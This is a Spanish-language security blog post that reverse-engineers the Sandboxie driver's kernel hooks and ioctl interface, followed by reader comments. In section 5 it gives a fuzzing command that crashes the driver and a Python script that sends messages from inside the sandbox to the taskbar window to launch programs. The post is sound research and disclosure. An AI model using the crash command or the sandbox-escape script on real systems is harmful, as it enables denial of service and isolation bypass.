Random IRC quote :      <matalaz> pivotar no es cuando un pavo sabe mazo de algo?

Sandbox I. Sandboxie. Aislamiento de procesos mediante control de acceso a objetos en kernel.

0. Indice:

  • 1. Introducción.
  • 2. Diseño de Sandboxie.
  • 3. Control de acceso a recursos.
    • 3.1. El hookeo en objectos de \ObjectTypes.
    • 3.2. Los hookeos en la ssdt y la shadow ssdt.
  • 4. Los io controles.
  • 5. Seguridad de Sandboxie.
    • 5.1. Fuzzing de io controls.
    • 5.2. Envío de mensajes a Shell_TrayWnd (ventana excluída por Sandboxie).
    • 5.3. Nombres largos.
    • 5.4. Parseo de formatos complejos.
    • 5.5. Conclusión.

1. Introducción:

En este artículo voy a hablar de Sandboxie, una sandbox que realiza aislamiento de procesos y cuyos pilares son:

-El control de acceso a objetos en kernel mediante hooks directos en las estructuras de los mismos objetos.

-Algunos hookeos en la ssdt y la shadow ssdt para control de mensajes a ventanas de procesos no sandboxeados.

-Algunos callbacks registrados en el sistema para control de creación de procesos, imágenes cargadas, etc…

Hablaré un poco del diseño de la sandbox, las técnicas que usa para “construir la celda”, y lo fiable o no que, bajo mi punto de vista, pueden llegar a ser este tipo de sandbox.

2. Diseño de Sandboxie:

Aunque sandboxie consta de la aplicación que hace de interfaz, un servicio, etc… Y otros componentes, en relación con la sandbox sólo nos interesan el driver (sbiedrv.sys) y la dll que inyecta en todos los procesos sandboxeados (sbiedll.dll).

A grandes rasgos Sandboxie funciona de la siguiente manera:

El driver de Sandboxie hookea todo lo necesario en kernel para proteger los recursos que quiere proteger de los procesos sandboxeados.

El driver pone además un callback con PsLoadImageNotifyRoutine y PsCreateProcessNotifyRoutine para ser notificado cuando se carga una imagen en un proceso y cuando se crea un proceso. El driver mantiene una lista de procesos sandboxeados en kernel, y gracias a estos callbacks puede mantener actualizadas las listas de los procesos sanboxeados. Lo que hace es comprobar si el padre del proceso creado es sandboxeado, y si lo es, el hijo pasa a la lista también (también es posible mediante io controles indicar que un proceso debe pasar a considerarse sandboxeado. Esto es necesario para lanzar procesos sandboxeados desde la interfaz de usuario de Sandboxie).

El driver no se complica la vida en el control de acceso a recursos protegidos: si es un proceso sandboxeado deniega el acceso a cualquier recurso protegido, si no es sandboxeado, lo permite.

Sin embargo cuando manejamos Sandboxie  vemos que permite el acceso a algunos recursos protegidos desde los procesos sandboxeados. Además crea un sistema de archivos, entradas de registro, etc… paralelos para cada sandbox manejada.

Para controlar esto el driver de Sandboxie exporta una serie de io controls. Exporta mucha funcionalidad mediante estos io controls, y algunos de ellos sirven para acceder a los recursos protegidos desde los procesos sandboxeados, pero de una manera controlado (discriminando a qué tiene acceso y a qué no, el proceso sandboxeado).

Aquí es donde entra en juego la dll SbieDll que entre otras cosas hookea todas las exports en todas las dlls de cada proceso sandboxeado.

Esta dll es fundamental para que el proceso sandboxeado funcione correctamente ya que en el hook de ciertas apis conocidas (ZwCreateFile, ZwCreateProcess, ZwOpenKey, etc…) la dll corta el flujo normal hacía kernel para redirigirlo hacía los io controles del driver donde se realizará un acceso a los recursos protegidos de manera controlada (una pequeña prueba que demuestra esto es que si quitamos con HookShark por ejemplo todos los hooks de modo usuario se nos queda un proceso sandboxeado sin acceso a nada, porque el driver lo deniega todo).

3. Control de acceso a recursos:

No se si se me ha escapado algo de lo que SbieDrv intercepta en kernel. Los principales hookeos que he visto que realiza son:

En los objetos token, process, thread, event, section, port y semaphore, de tipo Type, que cuelgan de \ObjectTypes, hookean el puntero a función de tipo OB_OPEN_METHOD para controlar el acceso a este tipo de objetos:

OBJECT_TYPE ->OBJECT_TYPE_INITIALIZER-> OpenProcedure

Sólo con esto puede controlar el acceso a disco, registro, etc…

Pero todavía necesita controlar todo el tema de ventanas, que lo maneja win32k.sys: debe cortar el envío de mensajes de las ventanas de aplicaciones sandboxeadas a las ventanas de las no sandboxeadas, debe evitar que las aplicaciones sandboxeadas puedan registrar Windows hooks, etc…

Para poder hacer esto SbieDrv necesita interceptar algunas funciones de la ssdt y la shadow ssdt:

win32k_NtUserCallHwndParamLock
win32k_NtUserDestroyWindow
win32k_NtUserShowWindow
win32k_NtUserSendInput
win32k_NtUserBlockInput
win32k_NtUserSystemParametersInfo
win32k_NtUserSetSysColors
win32k_NtUserSetSystemCursor
win32k_NtUserMessageCall
win32k_NtUserPostMessage
win32k_NtUserPostThreadMessage
win32k_NtUserSetWindowsHookEx
win32k_NtUserSetWinEventHook
nt_NtRequestPort
nt_NtRequestWaitReplyPort
nt_NtTraceEvent

3.1. El hookeo en objectos de \ObjectTypes:

Vamos a ver primero como son estos objetos que cuelgan del directorio ObjectTypes. Tomamos para el ejemplo el objeto \ObjectTypes\Token:

WINDBG>!object \ObjectTypes
Object: e1000548  Type: (819f1418) Directory
ObjectHeader: e1000530 (old version)
HandleCount: 0  PointerCount: 25
Directory Object: e1001520  Name: ObjectTypes

Hash Address  Type          Name
—- ——-  —-          —-
00  819f1418 Type          Directory
01  819ccca0 Type          Thread
819c95e0 Type          Mutant
03  8198cca0 Type          FilterCommunicationPort
05  819b8e70 Type          Controller
07  819c8ca0 Type          Profile
819c9980 Type          Event
819f15e8 Type          Type
09  819c8560 Type          Section
819c97b0 Type          EventPair
819f1248 Type          SymbolicLink
10  819c8730 Type          Desktop
11  819c8e70 Type          Timer
12  819b8730 Type          File
819c8900 Type          WindowStation
16  819b8ad0 Type          Driver
18  819eb910 Type          WmiGuid
819c8ad0 Type          KeyedEvent
19  819cc040 Type          Token
819b8ca0 Type          Device
20  819cc408 Type          DebugObject
21  819b8900 Type          IoCompletion
22  819cce70 Type          Process
24  819f0300 Type          Adapter
26  819c5980 Type          Key
28  819ccad0 Type          Job
31  819f0708 Type          WaitablePort
819f08d8 Type          Port
32  819c9410 Type          Callback
33  8198ce70 Type          FilterConnectionPort
34  819c8040 Type          Semaphore

WINDBG>!object 819cc040
Object: 819cc040  Type: (819f15e8) Type
ObjectHeader: 819cc028 (old version)
HandleCount: 0  PointerCount: 1
Directory Object: e1000548  Name: Token

WINDBG>dt _OBJECT_TYPE 819cc040
ntdll!_OBJECT_TYPE
+0x000 Mutex            : _ERESOURCE
+0x038 TypeList         : _LIST_ENTRY [ 0x819cc078 – 0x819cc078 ]
+0x040 Name             : _UNICODE_STRING «Token»
+0x048 DefaultObject    : 0x80558cc0
+0x04c Index            : 4
+0x050 TotalNumberOfObjects : 0x1a
+0x054 TotalNumberOfHandles : 0x10
+0x058 HighWaterNumberOfObjects : 0x1d
+0x05c HighWaterNumberOfHandles : 0x14
+0x060 TypeInfo         : _OBJECT_TYPE_INITIALIZER
+0x0ac Key              : 0x656b6f54
+0x0b0 ObjectLocks      : [4] _ERESOURCE
Como vemos de \ObjectTypes cuelgan varios objetos de tipo Type. La estructura de estos objetos es de tipo _OBJECT_TYPE.

Dentro de esta estructura _OBJECT_TYPE nos interesa especialmente OBJECT_TYPE_INITIALIZER porque dentro de esta subestructura vamos a tener los punteros a los callbacks que son llamados cuando se abre, cierra, etc… los objetos de este tipo.

typedef struct _OBJECT_TYPE_INITIALIZER {
USHORT Length;   2 bytes
BOOLEAN UseDefaultObject; 1 byte
BOOLEAN Reserved; 1 byte
ULONG InvalidAttributes; 4 bytes
GENERIC_MAPPING GenericMapping; 16 bytes
ULONG ValidAccessMask; 4 bytes
BOOLEAN SecurityRequired; 1 byte
BOOLEAN MaintainHandleCount; 1 byte
BOOLEAN MaintainTypeList; 1 byte
POOL_TYPE PoolType; 1 byte
ULONG ObjectTypeCode; 4 bytes //-> depende de la versión del sistema operativo,
//de esto depende que se acceda a +30h
//o a +34h para buscar el puntero para hookear
ULONG DefaultPagedPoolCharge; 4 bytes
ULONG DefaultNonPagedPoolCharge; 4 bytes
//——
OB_DUMP_METHOD DumpProcedure; 4 bytes
OB_OPEN_METHOD OpenProcedure; 4 bytes
OB_CLOSE_METHOD CloseProcedure; 4 bytes
OB_DELETE_METHOD DeleteProcedure; 4 bytes
OB_PARSE_METHOD ParseProcedure; 4 bytes
OB_SECURITY_METHOD SecurityProcedure; 4 bytes
OB_QUERYNAME_METHOD QueryNameProcedure; 4 bytes
OB_OKAYTOCLOSE_METHOD OkayToCloseProcedure; 4 bytes
//——
} OBJECT_TYPE_INITIALIZER, *POBJECT_TYPE_INITIALIZER;

Dependiendo de la versión del sistema operativo esta estructura tiene un campo más o no (el campo ObjectTypeCode). SbieDrv tiene en cuenta este detalle para hookear correctamente el puntero OpenProcedure en todas las versiones que soporta.

Este puntero es de tipo OB_OPEN_METHOD:

typedef NTSTATUS
(NTAPI *OB_OPEN_METHOD)(
IN OB_OPEN_REASON Reason,
IN PEPROCESS Process OPTIONAL,
IN PVOID ObjectBody,
IN ACCESS_MASK GrantedAccess,
IN ULONG HandleCount
);

Este callback es llamado cuando se abre un objeto del tipo en el que se hookea. En este caso cuando se abra un objeto de tipo Token se llamará a este callback, y aquí es posible controlar la apertura de dicho objeto.

Como hemos dicho SbieDrv hookea el callback OpenProcedure para los objetos de tipo token, process, thread, event, section, port y semaphore. Aquí vemos como SbieDrv llama a la función que realiza todo el hookeo con el nombre de cada objeto y el puntero para el hook de éste:

Vemos como comprueba la versión y el build del sistema operativo para calcular los offsets dentro de las estructuras del objeto donde encontrar el OpenProcedure.

——
Si version < 4:
Si BuildNumber <= 1770h:
OpenProcedureOffset = pTypeObjHeader+30h+60h
Sino:
OpenProcedureOffset = pTypeObjHeader+30h+28h
Sino:
Si BuildNumber <= 1770h:
OpenProcedureOffset = pTypeObjHeader+30h+60h
Sino:
OpenProcedureOffset = pTypeObjHeader+34h+28h
——

Para el hookeo utiliza una pieza de código que escribe en memoria del sistema operativo, seguramente porque el sistema operativo controla que estos punteros apunten a memoria suya. Las piezas de código con las que hookea son siempre así:

Esta función que he nombrado “ComprobarProcessIdEnListaDeSandboxeadosObtenerEstructura” busca en las listas de procesos sandboxeados el processid que se le pasa. Si se le pasa cero busca el current process. Como vemos en el trozo que usa para hookear siempre comprueba si el proceso actual es sandboxeado. Si no lo es, deja acceder. Si lo es, pasa a llamar a una función específica del tipo de objeto accedido (una para Token, otra para Process, etc…), pero en este punto ya ha decidido cortar el acceso al objeto (el proceso tendrá que acceder a estos objetos usando los io controles de SbieDrv).

En la imagen a continuación vemos el punto donde SbieDrv compone el bloque de código para el hookeo y el punto donde escribe el puntero en la estructura de kernel.

3.2. Los hookeos en la ssdt y la shadow ssdt:

Como hemos dicho antes Sandboxie hookea las siguientes apis:

win32k_NtUserCallHwndParamLock
win32k_NtUserDestroyWindow
win32k_NtUserShowWindow
win32k_NtUserSendInput
win32k_NtUserBlockInput
win32k_NtUserSystemParametersInfo
win32k_NtUserSetSysColors
win32k_NtUserSetSystemCursor
win32k_NtUserMessageCall
win32k_NtUserPostMessage
win32k_NtUserPostThreadMessage
win32k_NtUserSetWindowsHookEx
win32k_NtUserSetWinEventHook
nt_NtRequestPort
nt_NtRequestWaitReplyPort
nt_NtTraceEvent

La mayoría están relacionadas con el control de mensajes de ventana a las aplicaciones sandboxeadas. Vamos a analizar por ejemplo el hook a win32k_NtUserMessageCall:

En varias de las apis interceptadas hay que gestionar un mensaje de ventana enviado a una ventana concreta. SbieDrv tiene una función común que hace esta gestión, la que he nombrado Hook_Win32k_Gestiona_MensajeDeVentana:

Esta función va comprobando el mensaje y sus parámetros para decidir qué mensajes permite enviar a las aplicaciones sandboxeadas y cuáles no. La función Hook_Win32k_Gestiona_MensajeDeVentana actúa de esta manera:

-Primero obtiene el id del proceso que envía y el que recibe el mensaje. Si el proceso que envía y el que recibe es el mismo, deja pasar el msg.

-Sino, comprueba si el receptor es un sandboxeado. Si lo es, deja pasar el mensaje.

-A continuación comprueba si el msg es 0x3e4 y si lo es lo deja pasar.

– Luego obtiene el nombre de la clase de la ventana objetivo. Tiene una lista de nombres de clases de ventanas que deben ser tratadas como excepciones para las cuales se permiten algunos mensajes adicionales:

TrayNotifyWnd
SystemTray_Main
Connections Tray
MS_WebcheckMonitor
PrintTray_Notify_WndClass
CicLoaderWndClass
CicMarshalWndClass
Logitech Wingman Internal Message Router
devldr
CTouchPadSynchronizer
Type32_Main_Window
TForm_AshampooFirewall
WinVNC desktop sink
Afx:400000:0
NVIDIA TwinView Window
Shell_TrayWnd

Seguramente necesite meter estas excepciones para el funcionamiento correcto de algunas aplicaciones típicas: explorer, navegadores, etc…

-Si el mensaje no es para un proceso de la sandbox, y el que envía sí es un proceso de la sandbox, si la ventana objetivo no es una de las dichas anteriormente, sale directamente prohibiendo el envío del mensaje.

Para todas las clases de ventanas que son excepciones primero comprueba si el mensaje es de tipo WM_USER (0x400) o mayor. Si es por debajo de 0x400, comprueba contra la siguiente lista de mensajes inválidos para estas clases de ventanas conocidas:

2h – WM_DESTROY
0Bh – WM_SETREDRAW
10h – WM_CLOSE
11h – WM_QUERYENDSESSION
12h – WM_QUIT
16h – WM_ENDSESSION
3Bh –
4Eh – WM_NOTIFY
82h – WM_NCDESTROY
111h – WM_COMMAND
112h – WM_SYSCOMMAND
319h

Si no es ninguno de los anteriores ids, sale dejando pasar el mensaje.

-Si es un mensaje por arriba de 0x400, según la clase de ventana que sea, deja pasar unos u otros. Por ejemplo para Shell_TrayWnd deja pasar el id de msg 0x4ec.

4. Los io controles:

Sandboxie crea el siguiente device:

\device\SandboxieDriverApi

Para enviar io controles a Sandboxie él espera que sean:

DeviceType = FILE_DEVICE_UNKNOWN = 0x00000022

Function = 0x801

Method = METHOD_NEITHER

Access = 0

CTL_CODE(0x00000022, 0x801, METHOD_NEITHER, 0);

Por lo tanto el driver accede desde kernel a un buffer en user mode para recuperar los parámetros del io control. El formato de dicho buffer depende de la operación que se le solicite. Este buffer en zona de usuario tiene que tener un tamaño entre 0x8 y 0x40 bytes. El primer DWORD siempre es un valor 0x123400XX, que son los ids de las distintas operaciones que ofrece SbieDrv a través de sus io controles. SbieDrv tiene asociada una función a cada id soportado para gestionar el io control.

A continuación los io controles soportados.

0x12340001:
[0x12340001][XXXXXXXX][ptr zona mem usuario out]
Este ioctl guarda en el puntero en zona de usuario la cadena de versión de sandboxie.
0x12340002:
[0x12340002][XXXXXXXX][XXXXXXXX][XXXXXXXX][ptr zona mem usuario out] [XXXXXXXX][XXXXXXXX][XXXXXXXX][XXXXXXXX]
Pedir lista de procesos sandboxeados.
0x12340003:
Petición de escritura de fichero.
0x12340007:
[0x12340007][XXXXXXXX][XXXXXXXX][XXXXXXXX][XXXXXXXX][XXXXXXXX][ptr zona mem usuario]
0x12340008:
[0x12340008][XXXXXXXX][XXXXXXXX][XXXXXXXX][XXXXXXXX][XXXXXXXX] [XXXXXXXX][XXXXXXXX][XXXXXXXX][XXXXXXXX][ptr mem usr][XXXXXXXX][ptr mem usr][XXXXXXXX][ptr mem usr]
0x12340009: Obtener objecto proceso a partir de pid
0x1234000a
0x1234000b: Parece que sirve para pedir información de procesos sandboxeados.
El proceso sbiectrl.exe está constantemente mandando los códigos 0x1234000b, 0x1234000c y 0x12340002 al driver.
0x1234000c: Parece que pregunta al driver la fecha y hora.
0x1234000d: Con este iocontrol se pide que el driver desproteja una dirección en modo usuario para luego meterle el jump del hook. Así hookea sbiedll (en la rva 0xe7a9) en modo usuario.
[0x1234000D][XXXXXXXX][ptr funcion modo usuario][XXXXXXXX][ptr memoria usuario info hook]
0x1234000f: Sirve para consultar una opción de una sandbox. Algunas opciones de sandboxie:
DisableBoxedWinSxS
InjectDll
AutoExec
OpenProtectedStorage
OpenCredentials
OpenWinClass
NoRenameWinClass
BoxNameTitle
ClsidTrace
OpenClsid
StartService
StartProgram
AutoRecover
RecoverFolder -> para recuperar todas las carpetas de autorecover
AutoRecoverIgnore
0x12340010: Con este iocontrol se le pide al driver que se actualice con los datos de los ini: sandboxie.ini y templates.ini. El propio driver se pone a parsear los ini.
0x12340011
0x12340015
0x12340016: En este iocontrol se hookean las funciones de ntoskrnl.exe y de win32k.sys (de la ssdt y la shadow).
0x12340019
0x1234001e
0x1234001f: Relacionado con los accesos a disco.
0x12340021
0x12340024
0x12340025
0x12340026
0x12340028
0x1234002b: Obtener handle a proceso.

5. Seguridad de Sandboxie:

Primero vamos a ver algunos detalles y a hacer algunas pruebas relacionadas con este tema.

5.1. Fuzzing de io controls:

SandBoxie exporta varios io controles con mucha funcionalidad necesaria para su funcionamiento, tanto a procesos sandboxeados como no sandboxeados.

No he entrado muy en detalle en el fuzzing de los io controles, sólo una pequeña prueba realizada con Kartoffel (kartoffel.reversemode.com). Llamamos a Kartoffel con esta línea de comandos:

FOR %%A IN (0 1 2) DO FOR %%B IN (0 1 2 3 4 5 6 7 8 9 A B C D E F) DO Kartoffel -d \device\SandboxieDriverApi -n 0x40 -o 0x40 -z 0x40 -Z 0x40 -I 0x222007 -u CUSTOM,»[P=0x123400%%A%%B::*0][B=0x41::*0x3c$4][!!]»

Con esta orden vamos a enviar a io controles con id desde 0x12340001 hasta 0x1234002f, seguidos por un buffer lleno de ‘A’. Todo junto tiene un tamaño de 0x40 (el máximo soportado por Sandboxie).

[0x123400XX][AAAAAAAAAAAAAAAAAAAAAAA…]

Al lanzar este simple fuzzeo, cuando llega al id 0x12340027 salta un bug check:

WINDBG>!analyze -v
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************
DRIVER_CORRUPTED_MMPOOL (d0)
Arguments:
Arg1: 6b757a74, memory referenced
Arg2: 00123400, IRQL
Arg3: 00000000, value 0 = read operation, 1 = write operation
Arg4: 12340027, address which referenced memory
An attempt was made to access a pageable (or completely invalid) address at an
interrupt request level (IRQL) that is too high. This is
caused by drivers that have corrupted the system pool. Run the driver
verifier against any new (or suspect) drivers, and if that doesn’t turn up
the culprit, then use gflags to enable special pool. You can also set
HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\ProtectNonPagedPool
to a DWORD 1 value and reboot. Then the system will unmap freed nonpaged pool,
preventing drivers (although not DMA-hardware) from corrupting the pool.
Debugging Details:
——————
*************************************************************************
*** ***
*** ***
*** Your debugger is not using the correct symbols ***
*** ***
*** In order for this command to work properly, your symbol path ***
*** must point to .pdb files that have full type information. ***
*** ***
*** Certain .pdb files (such as the public OS symbols) do not ***
*** contain the required information. Contact the group that ***
*** provided you with these symbols if you need this command to ***
*** work. ***
*** ***
*** Type referenced: kernel32!pNlsUserInfo ***
*** ***
*************************************************************************
*************************************************************************
*** ***
*** ***
*** Your debugger is not using the correct symbols ***
*** ***
*** In order for this command to work properly, your symbol path ***
*** must point to .pdb files that have full type information. ***
*** ***
*** Certain .pdb files (such as the public OS symbols) do not ***
*** contain the required information. Contact the group that ***
*** provided you with these symbols if you need this command to ***
*** work. ***
*** ***
*** Type referenced: kernel32!pNlsUserInfo ***
*** ***
*************************************************************************
READ_ADDRESS: 6b757a74  (kuzt -> tzuk -> el nombre del autor)
CURRENT_IRQL: 123400
FAULTING_IP:
+5c1952f0012c4f0
12340027 ?? ???
DEFAULT_BUCKET_ID: DRIVER_FAULT
BUGCHECK_STR: 0xD0
PROCESS_NAME: Kartoffel.exe
LAST_CONTROL_TRANSFER: from 804f7b27 to 8052716c
STACK_TEXT:
f7642750 804f7b27 00000003 f7642aac 00000000 nt!RtlpBreakWithStatusInstruction
f764279c 804f8714 00000003 c0000005 00000000 nt!KiBugCheckDebugBreak+0x19
f7642b7c 804f8c3f 000000d0 6b757a74 00123400 nt!KeBugCheck2+0x574
f7642b9c f7cce31f 000000d0 6b757a74 00123400 nt!KeBugCheckEx+0x1b
WARNING: Stack unwind information not available. Following frames may be wrong.
f7642c34 804ee0ef 81740340 817398a0 806d12d0 SbieDrv+0x131f
f7642c44 80574032 81739910 818b2b88 817398a0 nt!IopfCallDriver+0x31
f7642c58 80574ec1 81740340 817398a0 818b2b88 nt!IopSynchronousServiceTail+0x60
f7642d00 8056d81e 000007b4 00000000 00000000 nt!IopXxxControlFile+0x5e7
f7642d34 8053cbc8 000007b4 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
f7642d34 7c91eb94 000007b4 00000000 00000000 nt!KiFastCallEntry+0xf8
0012eca4 7c91d8ef 7c8016be 000007b4 00000000 ntdll!KiFastSystemCallRet
0012eca8 7c8016be 000007b4 00000000 00000000 ntdll!ZwDeviceIoControlFile+0xc
0012ed08 0040617d 000007b4 00222007 003b0808 kernel32!DeviceIoControl+0x78
0012fee4 0040a9cd 0000000f 003b0b40 003b0c10 Kartoffel+0x617d
0012ffc0 7c816ff7 0000001a 00000000 7ffdd000 Kartoffel+0xa9cd
0012fff0 00000000 0040a85a 00000000 78746341 kernel32!BaseProcessStart+0x23
STACK_COMMAND: kb
FOLLOWUP_IP:
SbieDrv+131f
f7cce31f 8bf7 mov esi,edi
SYMBOL_STACK_INDEX: 4
SYMBOL_NAME: SbieDrv+131f
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: SbieDrv
IMAGE_NAME: SbieDrv.sys
DEBUG_FLR_IMAGE_TIMESTAMP: 4d8b29aa
FAILURE_BUCKET_ID: 0xD0_SbieDrv+131f
BUCKET_ID: 0xD0_SbieDrv+131f
Followup: MachineOwner
———
Sorting ‘Functions window’… ok

KeBugCheck es llamado por el propio SbieDrv porque detecta algo raro, así que es un simple DoS no muy peligroso. Pero que un fuzzeo tan simple nos provoque un DoS en kernel nos hace pensar que el código de SbieDrv tiene varios cabos sueltos.

5.2. Envío de mensajes a Shell_TrayWnd (ventana excluída por Sandboxie):

Como ya vimos en el análisis de los hooks para controles de mensajes a ventanas hay una serie de ventanas excluídas para las que se permiten algunos mensajes adicionales. Entre ellas está Shell_TrayWnd, la ventana de la barra de aplicaciones.

El siguiente script demuestra que estos mensajes permitidos a Shell_TrayWnd nos permiten movernos por el menú inicio y lanzar aplicaciones linkadas desde él:


import random

random.seed()

VK_LEFT=0x25
VK_UP=0x26
VK_RIGHT=0x27
VK_DOWN=0x28
VK_RETURN=0x0d
VK_TAB=0x09
VK_SHIFT=0x10
VK_CONTROL=0x11
VK_MENU=0x12

import ctypes
import time
from ctypes.wintypes import DWORD, HWND, HANDLE, LPCWSTR, WPARAM, LPARAM, RECT, POINT
trayRect=RECT(0,0,0,0)
trayWindow = ctypes.windll.user32.FindWindowExA(0,0,"Shell_TrayWnd",0)
trayNotifyWindow = ctypes.windll.user32.FindWindowExA(trayWindow,0,"TrayNotifyWnd",0)

def PressKey(hwin,key):

msgkeydown=0x100
msgkeyup=0x101
ctypes.windll.user32.PostMessageA(hwin, msgkeydown, key, 0) #KEYDOWN
time.sleep(0.1)
ctypes.windll.user32.PostMessageA(hwin, msgkeyup, key, 0) #KEYUP
time.sleep(0.1)

ctypes.windll.user32.PostMessageA(trayWindow, 0xa1, 1, 0x200020) #WM_NCLBUTTONDOWN
ctypes.windll.user32.PostMessageA(trayWindow, 0xa2, 0, 0x200020) #WM_NCLBUTTONUP

PressKey(trayWindow, VK_UP)
PressKey(trayWindow, VK_UP)
PressKey(trayWindow, VK_UP)
PressKey(trayWindow, VK_UP)
PressKey(trayWindow, VK_UP)
PressKey(trayWindow, VK_UP)
PressKey(trayWindow, VK_UP)

PressKey(trayWindow, VK_RIGHT)
PressKey(trayWindow, VK_RIGHT)

PressKey(trayWindow, VK_DOWN)
PressKey(trayWindow, VK_DOWN)
PressKey(trayWindow, VK_DOWN)
PressKey(trayWindow, VK_DOWN)
PressKey(trayWindow, VK_DOWN)
PressKey(trayWindow, VK_DOWN)

PressKey(trayWindow, VK_RETURN)

(Las pulsaciones de teclas son las necesarias para lanzar la calculadora tal como yo tenía colocado el menú inicio cuando hice la prueba).

No es un problema de seguridad grave pero pienso que tampoco es el comportamiento que espera el usuario de la sandbox.

5.3. Nombres largos:

Sandboxie tiene problemas con nombres de ficheros largos (más largos que MAX_PATH y hasta 32 mil y pico caracteres) porque en su callback LoadImageNotifyRoutine llega el nombre a NULL.

No he visto problemas de seguridad aquí pero sí que se obtienen mensajes de error y comportamientos que sin Sandboxie no ocurrirían (tanto en procesos sandboxeados como no sandboxeados).

Sin embargo este detalle nos vuelve a hacer pensar que es difícil interceptar demasiadas cosas en el sistema operativo, en puntos muy delicados, y tener en cuenta todos los posibles casos.

5.4. Parseo de formatos complejos:

En mi opinión el driver de Sandboxie tiene código bastante arriesgado en kernel.

Por ejemplo, en el callback LoadImageNotifyRoutine se hace un parseo a fondo de la cabecera PE de la imagen cargada en modo usuario. A continuación vemos el comienzo de dicho parseo en el que más adelante profundiza en los recursos, etc…

También abre y parsea los ficheros de configuración .ini desde kernel:

En otros puntos desensambla instrucciones a la entrada de funciones (tanto de kernel como de modo usuario) para saber que tipo de hook debe meter y guardarse las instrucciones sobrescritas. Cuando por ejemplo se va a pinchar algo en modo usuario es el driver el que va a salvar en un buffer de usuario las instrucciones que se van a sobreescribir.

En definitiva, mi opinión es que Sandboxie mete bastante código complejo y arriesgado en kernel. Ya vimos en el sencillo fuzzeo de io controles que SbieDrv deja más de un cabo suelto. No me he metido a fuzzear en profundida: ficheros ini, cabeceras pe, etc… pero tengo la impresión de que saltaría la liebre por más de un sitio.

5.5. Conclusión:

En general mi opinión es que las sandbox por aislamiento de proceso llevan una inseguridad intrínseca:

-Es difícil interceptar todo lo peligroso a lo que puede acceder un proceso.

-Se va a introducir código (los hooks) en puntos muy delicados del sistema por lo que hay que confiar mucho en ese código.

-Se van a tocar cosas muy dependientes de la versión del sistema operativo para interceptar todo lo necesario.

-Muchos de los hooks necesarios no van a ser muy limpios ni documentados, ni soportados por el sistema, más propios de un rootkit que de una herramienta de seguridad.

-Seguramente vas a necesitar meter algunas excepciones a lo que prohibes en la sandbox para que funcionen algunas aplicaciones típicas, como hace Sandboxie.

-En el caso de Sandboxie además se meten en kernel muchos bloques de código complejos que en mi opinión podrían estar en modo usuario: parseo de ficheros sandboxie.ini y templates.ini, parseo de cabeceras PE, etc…

-También en el caso de Sandboxie, por su diseño, necesita exportar mucha funcionalidad compleja a través de io controles.

Mi conclusión respecto a Sandboxie es que es una herramienta útil en la que sí lanzaría un navegador o un pdf reader para ayudar a protegerme contra vulnerabilidades, pero si fuera a lanzar malware dentro de Sandboxie, lanzaría Sandboxie dentro de una vmware, bochs u otra máquina virtual.


7 Comentarios para “Sandbox I. Sandboxie. Aislamiento de procesos mediante control de acceso a objetos en kernel.”

  1. Comment por Ruben | 05/23/11 at 2:15 pm

    Gran trabajo Javi!

    Se me ha saltado la lagrimilla viendo que has usado kartoffel 🙂

    Esperamos más 🙂

  2. cdr
    Comment por cdr | 05/23/11 at 5:09 pm

    Este artículo es brutal. Brutal.

  3. Comment por erg0t | 05/23/11 at 5:13 pm

    Muy buen articulo!

    Me gustaria que extendieras el punto 5 con un analisis sobre posibles race conditions en el codigo del driver y ver si determinados checkeos pueden ser bypasseados gracias a ello.

    En cuanto a la conclusion no estoy totalmente de acuerdo, creo que la idea de tener todo en kernel es lo correcto pero el problema en el caso de sandboxie es la implementacion. Yo en su lugar haria las cosas a nivel de minifilter y dedicaria devices «virtuales» para los procesos sandboxeados. Tener hooks a nivel de syscalls es sabido que no es una buena opcion, principalmente porque existe una ventana entre el codigo del hook y la llamada a la syscall original donde es posible introducir races.

    Un saludo!

  4. Comment por Javier Vicente Vallejo | 05/23/11 at 5:33 pm

    hola Erg0t, la verdad que me gustaría extender el punto 5 dándole más caña a Sandboxie, pero ya en otro artículo. Lo que dices de las race condition estoy casi seguro que algo de eso hay. Además hay un montón de puntos en el driver donde asume que está en el contexto del proceso que por ejemplo accede a un objeto concreto, o manda un io control, o hace una syscall, etc… No se si habrá documentación que diga que se puede asumir esto, pero me da que no y que en algún entorno podría fallar.

    Sobre lo de tener todo en kernel, si el código está bien bien probado, entonces sí. Lo que pasa que un pequeño parseo mal hecho o cualquier pijadita se puede liar gorda. No sabría que decir. En lo que sí estoy totalmente acuerdo contigo es en lo del minifilter, me fiaría más de una sandbox que metiera un minifilter, un filtro de ndis, etc… para hacer la sandbox. Es decir, que usara cosas soportadas y bien documentadas.

  5. Comment por Javier Vicente Vallejo | 05/23/11 at 8:10 pm

    Por cierto Rubén, que se me ha olvidado contestarte antes, kartoffel está cojonudo 😉

  6. san
    Comment por san | 05/24/11 at 3:46 pm

    Que son los hookeos y los ssdt?

  7. Comment por LaNuri | 05/25/11 at 11:36 am

    Aaah esa si me la se! Un hookeo es cuando papa y mama se ponen de acuerdo para que papa ponga una semillita en mama… para poder poner la semillita primero papa tienen que hookear a mama! Javi a que es eso!!?? Es que me lo enseño un día Javi en el cuarto oscuro de una disco. ¡Que recuerdos! 🙂

Se han cerrado los comentarios